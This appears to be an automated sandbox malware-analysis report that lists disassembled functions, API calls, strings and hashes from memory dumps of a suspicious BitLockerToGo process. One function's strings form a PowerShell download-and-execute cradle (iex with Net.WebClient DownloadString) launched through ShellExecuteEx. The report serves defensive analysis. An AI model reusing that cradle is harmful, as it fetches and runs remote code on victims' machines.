Function 03012C90 Relevance: 8.8, APIs: 1, Strings: 4, Instructions: 99COMMON

Download Yara Rule

APIs

Part of subcall function 0301A740: lstrcpy.KERNEL32(03020AEF,00000000), ref: 0301A788

Part of subcall function 0301A9B0: lstrlen.KERNEL32(?,03021110,?,00000000,03020AEF), ref: 0301A9C5
Part of subcall function 0301A9B0: lstrcpy.KERNEL32(00000000), ref: 0301AA04
Part of subcall function 0301A9B0: lstrcat.KERNEL32(00000000,00000000), ref: 0301AA12

Part of subcall function 0301A920: lstrcpy.KERNEL32(00000000,?), ref: 0301A972
Part of subcall function 0301A920: lstrcat.KERNEL32(00000000), ref: 0301A982

Part of subcall function 0301A8A0: lstrcpy.KERNEL32(?,03020AEF), ref: 0301A905

ShellExecuteEx.SHELL32(0000003C), ref: 03012D85

Strings

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, xrefs: 03012D04
<, xrefs: 03012D39
')", xrefs: 03012CB3
-nop -c "iex(New-Object Net.WebClient).DownloadString(', xrefs: 03012CC4

Memory Dump Source

Source File: 00000002.00000002.1836179324.0000000003000000.00000040.00000400.00020000.00000000.sdmp, Offset: 03000000, based on PE: true

Associated: 00000002.00000002.1836206485.000000000301E000.00000002.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1836232555.000000000302B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1836232555.000000000305A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1836232555.0000000003085000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1836232555.0000000003088000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1836232555.000000000308F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1836232555.0000000003092000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1836232555.00000000030B1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1836232555.00000000030BD000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1836232555.00000000030E2000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1836232555.00000000030EF000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1836232555.000000000310F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1836232555.000000000311B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1836232555.00000000031A5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1836232555.00000000031C5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1836232555.00000000031CB000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1836232555.000000000324A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1836955286.000000000325C000.00000002.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_3000000_BitLockerToGo.jbxd

Yara matches

Similarity

API ID: lstrcpy$lstrcat$ExecuteShelllstrlen
String ID: ')"$-nop -c "iex(New-Object Net.WebClient).DownloadString('$<$C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
API String ID: 3031569214-898575020
Opcode ID: 24283ec34f6b64d61b0e60a6a54b9c9c57b772079d116c18c6a3e572ee1c2a80
Instruction ID: 83f52a07cd52f2d0e3322be6de6d6db169f3415b7ead9741d191dab9d0efc707
Opcode Fuzzy Hash: 24283ec34f6b64d61b0e60a6a54b9c9c57b772079d116c18c6a3e572ee1c2a80
Instruction Fuzzy Hash: AB41DA75E123089BDB14EBA0D990FEDBB78AF54310F404119E016AF190EFB46A9ACF90

Function 6CCD74A0 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 72COMMON

Download Yara Rule

APIs

SetLastError.KERNEL32(00000000), ref: 6CCD7526
__Init_thread_footer.LIBCMT ref: 6CCD7566
__Init_thread_footer.LIBCMT ref: 6CCD7597

Strings

kernel32.dll, xrefs: 6CCD7557
UnmapViewOfFile2, xrefs: 6CCD7552

Memory Dump Source

Source File: 00000002.00000002.1858482528.000000006CC71000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CC70000, based on PE: true

Associated: 00000002.00000002.1858461408.000000006CC70000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1858544781.000000006CCED000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1858572898.000000006CCFE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1858596249.000000006CD02000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6cc70000_BitLockerToGo.jbxd

Similarity

API ID: Init_thread_footer$ErrorLast
String ID: UnmapViewOfFile2$kernel32.dll
API String ID: 3217676052-1401603581
Opcode ID: ac09a495280adfafc159eccc07d1ebad99d0f49505d5df31f8354f94639561c4
Instruction ID: 45b533110728ba825255fa522591f5591d60512a25960203de70224e6ceb8493
Opcode Fuzzy Hash: ac09a495280adfafc159eccc07d1ebad99d0f49505d5df31f8354f94639561c4
Instruction Fuzzy Hash: 62212831700501AFDA158FE9E858E4973B5EF86325F15452AD62587F40FB31B803CF96

Function 6CCDC410 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 19libraryloaderCOMMON

Download Yara Rule

APIs

LoadLibraryW.KERNEL32(ntdll.dll,?,6CCDC0E9), ref: 6CCDC418
GetProcAddress.KERNEL32(00000000,NtQueryVirtualMemory), ref: 6CCDC437
FreeLibrary.KERNEL32(?,6CCDC0E9), ref: 6CCDC44C

Strings

NtQueryVirtualMemory, xrefs: 6CCDC431
ntdll.dll, xrefs: 6CCDC413

Memory Dump Source

Source File: 00000002.00000002.1858482528.000000006CC71000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CC70000, based on PE: true

Associated: 00000002.00000002.1858461408.000000006CC70000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1858544781.000000006CCED000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1858572898.000000006CCFE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1858596249.000000006CD02000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6cc70000_BitLockerToGo.jbxd

Similarity

API ID: Library$AddressFreeLoadProc
String ID: NtQueryVirtualMemory$ntdll.dll
API String ID: 145871493-2623246514
Opcode ID: c21ad1ec8297dc5566bcfbd3eef94e14ba809ed1bea19995e848d0de679fbb99
Instruction ID: 11a58accfa0c9ec67dc8e01dc8862bd24b539a4cd99d0e0081d5d2150fa22bcb
Opcode Fuzzy Hash: c21ad1ec8297dc5566bcfbd3eef94e14ba809ed1bea19995e848d0de679fbb99
Instruction Fuzzy Hash: 6AE092716113099FDF006F71EA187117BF8EF0B205F045116AA24D2B40EBB4D401CA50

Function 6CCD75B0 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 19libraryloaderCOMMON

Download Yara Rule

APIs

LoadLibraryW.KERNEL32(ntdll.dll,?,6CCD748B,?), ref: 6CCD75B8
GetProcAddress.KERNEL32(00000000,RtlNtStatusToDosError), ref: 6CCD75D7
FreeLibrary.KERNEL32(?,6CCD748B,?), ref: 6CCD75EC

Strings

RtlNtStatusToDosError, xrefs: 6CCD75D1
ntdll.dll, xrefs: 6CCD75B3

Memory Dump Source

Source File: 00000002.00000002.1858482528.000000006CC71000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CC70000, based on PE: true

Associated: 00000002.00000002.1858461408.000000006CC70000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1858544781.000000006CCED000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1858572898.000000006CCFE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1858596249.000000006CD02000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6cc70000_BitLockerToGo.jbxd

Similarity

API ID: Library$AddressFreeLoadProc
String ID: RtlNtStatusToDosError$ntdll.dll
API String ID: 145871493-3641475894
Opcode ID: 59462c0702433c75101dc186aebf00527187fffc0049982b7afdaee3689afb3e
Instruction ID: 4877530521246d7ea678788a6cfcfc93ec8f5037822c9ea06eb364b6361037ca
Opcode Fuzzy Hash: 59462c0702433c75101dc186aebf00527187fffc0049982b7afdaee3689afb3e
Instruction Fuzzy Hash: 6CE0B671650302AFEF006FA2E858701FEF8EF06318F209027AA25D1A40FBF59482CF15

Function 6CC74DE0 Relevance: 7.6, APIs: 5, Instructions: 133stringCOMMON

Download Yara Rule

APIs

?DoubleToAscii@DoubleToStringConverter@double_conversion@@SAXNW4DtoaMode@12@HPADHPA_NPAH3@Z.MOZGLUE ref: 6CC74E5A
?CreateDecimalRepresentation@DoubleToStringConverter@double_conversion@@ABEXPBDHHHPAVStringBuilder@2@@Z.MOZGLUE(?,?,?,?,?), ref: 6CC74E97
strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6CC74EE9
memcpy.VCRUNTIME140(?,?,00000000), ref: 6CC74F02
?CreateExponentialRepresentation@DoubleToStringConverter@double_conversion@@ABEXPBDHHPAVStringBuilder@2@@Z.MOZGLUE(?,?,?,?), ref: 6CC74F1E

Memory Dump Source

Source File: 00000002.00000002.1858482528.000000006CC71000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CC70000, based on PE: true

Associated: 00000002.00000002.1858461408.000000006CC70000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1858544781.000000006CCED000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1858572898.000000006CCFE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1858596249.000000006CD02000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6cc70000_BitLockerToGo.jbxd

Similarity

API ID: String$Double$Converter@double_conversion@@$Builder@2@@CreateRepresentation@$Ascii@DecimalDtoaExponentialMode@12@memcpystrlen
String ID:
API String ID: 713647276-0
Opcode ID: 6bb4a37371dc70f9232cc5008df87baaa11286488eca9508a61d8da8b028adee
Instruction ID: 4abdc4cccd4d0e65c15a6a24289c8e898b71e332afb811c7b5277bd2536893ff
Opcode Fuzzy Hash: 6bb4a37371dc70f9232cc5008df87baaa11286488eca9508a61d8da8b028adee
Instruction Fuzzy Hash: 3A41BF716087059FC725CF29C88095BFBE8FF8A354F108A2DF46587641EB30E958CBA2

Function 03010D90 Relevance: 7.6, APIs: 5, Instructions: 120stringCOMMON

Download Yara Rule

APIs

strtok_s.MSVCRT ref: 03010DB8
strtok_s.MSVCRT ref: 03010EFD

Part of subcall function 0301A820: lstrlen.KERNEL32(00000000,?,?,03015B54,03020ADB,03020ADA,?,?,03016B16,00000000,?,03540578,?,0302110C,?,00000000), ref: 0301A82B
Part of subcall function 0301A820: lstrcpy.KERNEL32(03020AEF,00000000), ref: 0301A885

Memory Dump Source

Source File: 00000002.00000002.1836179324.0000000003000000.00000040.00000400.00020000.00000000.sdmp, Offset: 03000000, based on PE: true

Associated: 00000002.00000002.1836206485.000000000301E000.00000002.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1836232555.000000000302B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1836232555.000000000305A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1836232555.0000000003085000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1836232555.0000000003088000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1836232555.000000000308F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1836232555.0000000003092000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1836232555.00000000030B1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1836232555.00000000030BD000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1836232555.00000000030E2000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1836232555.00000000030EF000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1836232555.000000000310F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1836232555.000000000311B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1836232555.00000000031A5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1836232555.00000000031C5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1836232555.00000000031CB000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1836232555.000000000324A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1836955286.000000000325C000.00000002.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_3000000_BitLockerToGo.jbxd

Yara matches

Similarity

API ID: strtok_s$lstrcpylstrlen
String ID:
API String ID: 348468850-0
Opcode ID: 8a2da65d64f8feeadeda32fa37012c9fd99ba9c3d0ffd82e124739938a7fe57d
Instruction ID: a9269f4bc237ab1181052308d06afc57ca774e11ab92f5b0112e7032070df36d
Opcode Fuzzy Hash: 8a2da65d64f8feeadeda32fa37012c9fd99ba9c3d0ffd82e124739938a7fe57d
Instruction Fuzzy Hash: D1514CB5A4120AEFCB18DF94D595AAE7BF5FF48304F108059E802AB340D730EAA1CF91

Function 6CC81530 Relevance: 7.6, APIs: 5, Instructions: 98COMMON

Download Yara Rule

APIs

moz_xmalloc.MOZGLUE(-00000002,?,6CC8152B,?,?,?,?,6CC81248,?), ref: 6CC8159C
memcpy.VCRUNTIME140(00000023,?,?,?,?,6CC8152B,?,?,?,?,6CC81248,?), ref: 6CC815BC
moz_xmalloc.MOZGLUE(-00000001,?,6CC8152B,?,?,?,?,6CC81248,?), ref: 6CC815E7
free.MOZGLUE(?,?,?,?,?,?,6CC8152B,?,?,?,?,6CC81248,?), ref: 6CC81606
_invalid_parameter_noinfo_noreturn.API-MS-WIN-CRT-RUNTIME-L1-1-0(?,?,?,?,?,6CC8152B,?,?,?,?,6CC81248,?), ref: 6CC81637

Memory Dump Source

Source File: 00000002.00000002.1858482528.000000006CC71000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CC70000, based on PE: true

Associated: 00000002.00000002.1858461408.000000006CC70000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1858544781.000000006CCED000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1858572898.000000006CCFE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1858596249.000000006CD02000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6cc70000_BitLockerToGo.jbxd

Similarity

API ID: moz_xmalloc$_invalid_parameter_noinfo_noreturnfreememcpy
String ID:
API String ID: 733145618-0
Opcode ID: 581513f89016ff1a0382425b61696caf64d0d2be1c24ab809f9afda81563cfda
Instruction ID: 07d0fa4fdccddcb6824cabcf86e24df19143ca42f1d445ce9bdc0b7512c6dc5b
Opcode Fuzzy Hash: 581513f89016ff1a0382425b61696caf64d0d2be1c24ab809f9afda81563cfda
Instruction Fuzzy Hash: 8031B372A015158BC7188E6CD8504AF7AE9FB853787240B2DE873DBBD4FB30D9048791

Function 6CCDAD70 Relevance: 7.6, APIs: 5, Instructions: 93COMMON

Download Yara Rule

APIs

moz_xmalloc.MOZGLUE(00000000,?,00000000,?,?,6CCEE330,?,6CC9C059), ref: 6CCDAD9D

Part of subcall function 6CC8CA10: malloc.MOZGLUE(?), ref: 6CC8CA26

memset.VCRUNTIME140(00000000,00000000,00000000,00000000,?,?,6CCEE330,?,6CC9C059), ref: 6CCDADAC
free.MOZGLUE(?,?,?,?,00000000,?,?,6CCEE330,?,6CC9C059), ref: 6CCDAE01
GetLastError.KERNEL32(?,00000000,?,?,6CCEE330,?,6CC9C059), ref: 6CCDAE1D
GetLastError.KERNEL32(?,00000000,00000000,00000000,?,?,?,00000000,?,?,6CCEE330,?,6CC9C059), ref: 6CCDAE3D

Memory Dump Source

Source File: 00000002.00000002.1858482528.000000006CC71000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CC70000, based on PE: true

Associated: 00000002.00000002.1858461408.000000006CC70000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1858544781.000000006CCED000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1858572898.000000006CCFE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1858596249.000000006CD02000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6cc70000_BitLockerToGo.jbxd

Similarity

API ID: ErrorLast$freemallocmemsetmoz_xmalloc
String ID:
API String ID: 3161513745-0
Opcode ID: 48d9a8302b2966a23270f9ca6396571412348c62181381baa8cf42c55230f6ce
Instruction ID: c0636de9b92afbf76c49d25fd7bcdf89aceb49ee25594da57ad854f43f46a7e5
Opcode Fuzzy Hash: 48d9a8302b2966a23270f9ca6396571412348c62181381baa8cf42c55230f6ce
Instruction Fuzzy Hash: F43144B1A002159FDB14DF769D44AABBBF8EF89614F15882DE95AD7700F734E804CBA0

Function 6CCD5EF0 Relevance: 7.6, APIs: 5, Instructions: 89COMMON

Download Yara Rule

APIs

?_Ipfx@?$basic_istream@DU?$char_traits@D@std@@@std@@QAE_N_N@Z.MSVCP140(00000001,00000000,6CCEDCA0,?,?,?,6CCAE8B5,00000000), ref: 6CCD5F1F
?sgetc@?$basic_streambuf@DU?$char_traits@D@std@@@std@@QAEHXZ.MSVCP140(?,6CCAE8B5,00000000), ref: 6CCD5F4B
?snextc@?$basic_streambuf@DU?$char_traits@D@std@@@std@@QAEHXZ.MSVCP140(00000000,?,6CCAE8B5,00000000), ref: 6CCD5F7B
?clear@?$basic_ios@DU?$char_traits@D@std@@@std@@QAEXH_N@Z.MSVCP140(6E65475B,00000000,?,6CCAE8B5,00000000), ref: 6CCD5F9F
?sbumpc@?$basic_streambuf@DU?$char_traits@D@std@@@std@@QAEHXZ.MSVCP140(?,6CCAE8B5,00000000), ref: 6CCD5FD6

Memory Dump Source

Source File: 00000002.00000002.1858482528.000000006CC71000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CC70000, based on PE: true

Associated: 00000002.00000002.1858461408.000000006CC70000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1858544781.000000006CCED000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1858572898.000000006CCFE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1858596249.000000006CD02000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6cc70000_BitLockerToGo.jbxd

Similarity

API ID: D@std@@@std@@U?$char_traits@$?clear@?$basic_ios@?sbumpc@?$basic_streambuf@?sgetc@?$basic_streambuf@?snextc@?$basic_streambuf@Ipfx@?$basic_istream@
String ID:
API String ID: 1389714915-0
Opcode ID: 16a143eadeb03d2f65ab1a90ca8c1cd7919da6a1becb725a27fd837cd9c2c627
Instruction ID: aba51d20ee069f6511b9cdafc9e49e359624b0ba2cb2c5e12696df45b66a6e43
Opcode Fuzzy Hash: 16a143eadeb03d2f65ab1a90ca8c1cd7919da6a1becb725a27fd837cd9c2c627
Instruction Fuzzy Hash: 46314C743006008FD710CF29C898E2ABBF9FF89359B658558E6668BB95D731FC41CB91

Function 6CC7B4C0 Relevance: 7.6, APIs: 5, Instructions: 84COMMON

Download Yara Rule

APIs

GetModuleHandleW.KERNEL32(00000000), ref: 6CC7B532
moz_xmalloc.MOZGLUE(?), ref: 6CC7B55B
memset.VCRUNTIME140(00000000,00000000,?), ref: 6CC7B56B
wcsncpy_s.API-MS-WIN-CRT-STRING-L1-1-0(00000000,?,?), ref: 6CC7B57E
free.MOZGLUE(00000000), ref: 6CC7B58F

Memory Dump Source

Source File: 00000002.00000002.1858482528.000000006CC71000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CC70000, based on PE: true

Associated: 00000002.00000002.1858461408.000000006CC70000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1858544781.000000006CCED000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1858572898.000000006CCFE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1858596249.000000006CD02000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6cc70000_BitLockerToGo.jbxd

Similarity

API ID: HandleModulefreememsetmoz_xmallocwcsncpy_s
String ID:
API String ID: 4244350000-0
Opcode ID: 031775e56eb3fe94ff081c4f51cc849b9af51c2c0ce914038a1ebb857320c297
Instruction ID: 91e54fafba17eeaf80f79e3995d44e71854b24a86c0ad41b2ad6e977283ad0fa
Opcode Fuzzy Hash: 031775e56eb3fe94ff081c4f51cc849b9af51c2c0ce914038a1ebb857320c297
Instruction Fuzzy Hash: D921E571A002059BDB108F69DC50BAEBBB9FF86318F284129E928DB341F776D915C7A1

Function 03016920 Relevance: 7.6, APIs: 5, Instructions: 67timeCOMMON

Download Yara Rule

APIs

GetSystemTime.KERNEL32(0302110C,?,?,03016B11,00000000,?,03540578,?,0302110C,?,00000000,?), ref: 0301696C
sscanf.NTDLL ref: 03016999
SystemTimeToFileTime.KERNEL32(0302110C,00000000,?,?,?,?,?,?,?,?,?,?,?,03540578,?,0302110C), ref: 030169B2
SystemTimeToFileTime.KERNEL32(?,00000000,?,?,?,?,?,?,?,?,?,?,?,03540578,?,0302110C), ref: 030169C0
ExitProcess.KERNEL32 ref: 030169DA

Memory Dump Source

Source File: 00000002.00000002.1836179324.0000000003000000.00000040.00000400.00020000.00000000.sdmp, Offset: 03000000, based on PE: true

Associated: 00000002.00000002.1836206485.000000000301E000.00000002.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1836232555.000000000302B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1836232555.000000000305A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1836232555.0000000003085000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1836232555.0000000003088000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1836232555.000000000308F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1836232555.0000000003092000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1836232555.00000000030B1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1836232555.00000000030BD000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1836232555.00000000030E2000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1836232555.00000000030EF000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1836232555.000000000310F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1836232555.000000000311B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1836232555.00000000031A5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1836232555.00000000031C5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1836232555.00000000031CB000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1836232555.000000000324A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1836955286.000000000325C000.00000002.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_3000000_BitLockerToGo.jbxd

Yara matches

Similarity

API ID: Time$System$File$ExitProcesssscanf
String ID:
API String ID: 2533653975-0
Opcode ID: 6fc5dcbf8a0c36c8749d8efc3bf769ac0f81b5127e24dd0b8a1a6a02926d6e02
Instruction ID: 8562179e6ff7cb1af85578f8c614bfaf85b5ab97105ade3f4f63f48143c3db70
Opcode Fuzzy Hash: 6fc5dcbf8a0c36c8749d8efc3bf769ac0f81b5127e24dd0b8a1a6a02926d6e02
Instruction Fuzzy Hash: 0B21EA75D0420CABCB04EFE4E9499EEB7B9FF48300F04852AE406A7244EB355615CB64

Function 6CCD76C0 Relevance: 7.6, APIs: 5, Instructions: 64COMMON

Download Yara Rule

APIs

WideCharToMultiByte.KERNEL32 ref: 6CCD76F2
moz_xmalloc.MOZGLUE(00000001), ref: 6CCD7705

Part of subcall function 6CC8CA10: malloc.MOZGLUE(?), ref: 6CC8CA26

memset.VCRUNTIME140(00000000,00000000,00000001), ref: 6CCD7717
WideCharToMultiByte.KERNEL32(0000FDE9,00000000,?,6CCD778F,00000000,00000000,00000000,00000000), ref: 6CCD7731
free.MOZGLUE(00000000), ref: 6CCD7760

Memory Dump Source

Source File: 00000002.00000002.1858482528.000000006CC71000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CC70000, based on PE: true

Associated: 00000002.00000002.1858461408.000000006CC70000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1858544781.000000006CCED000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1858572898.000000006CCFE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1858596249.000000006CD02000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6cc70000_BitLockerToGo.jbxd

Similarity

API ID: ByteCharMultiWide$freemallocmemsetmoz_xmalloc
String ID:
API String ID: 2538299546-0
Opcode ID: e3353d22d2b3de0aa7f4f230fdbb607a7d7536655cb4df68f9010bd21c68c4ae
Instruction ID: 15c1acb14d48cddc16ac47741176e50f9de011ecabb6aec8956e788b7a0d4c94
Opcode Fuzzy Hash: e3353d22d2b3de0aa7f4f230fdbb607a7d7536655cb4df68f9010bd21c68c4ae
Instruction Fuzzy Hash: C31190B1901215ABE710AF669C44AABBEE8FF46354F05492AE848A7200F7719850C7E2

Function 03019260 Relevance: 7.5, APIs: 4, Strings: 1, Instructions: 41stringCOMMON

Download Yara Rule

APIs

StrStrA.SHLWAPI(03556018,?,?,?,0301140C,?,03556018,00000000), ref: 0301926C
lstrcpyn.KERNEL32(0324AB88,03556018,03556018,?,0301140C,?,03556018), ref: 03019290
lstrlen.KERNEL32(?,?,0301140C,?,03556018), ref: 030192A7
wsprintfA.USER32 ref: 030192C7

Strings

%s%s, xrefs: 030192B5

Memory Dump Source

Source File: 00000002.00000002.1836179324.0000000003000000.00000040.00000400.00020000.00000000.sdmp, Offset: 03000000, based on PE: true

Associated: 00000002.00000002.1836206485.000000000301E000.00000002.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1836232555.000000000302B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1836232555.000000000305A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1836232555.0000000003085000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1836232555.0000000003088000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1836232555.000000000308F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1836232555.0000000003092000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1836232555.00000000030B1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1836232555.00000000030BD000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1836232555.00000000030E2000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1836232555.00000000030EF000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1836232555.000000000310F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1836232555.000000000311B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1836232555.00000000031A5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1836232555.00000000031C5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1836232555.00000000031CB000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1836232555.000000000324A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1836955286.000000000325C000.00000002.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_3000000_BitLockerToGo.jbxd

Yara matches

Similarity

API ID: lstrcpynlstrlenwsprintf
String ID: %s%s
API String ID: 1206339513-3252725368
Opcode ID: 149ffbec69718cd24a4c4c921446b4b86acc5cb28a4a92e08988858867e4b54b
Instruction ID: b439285fe58d9078001df21fff0d4168e636142e2457e458fa15dfa753619048
Opcode Fuzzy Hash: 149ffbec69718cd24a4c4c921446b4b86acc5cb28a4a92e08988858867e4b54b
Instruction Fuzzy Hash: D7011A79550208FFCB04DFECD998EAE7BB9EB48394F108148F9098B205C731AA50CB90

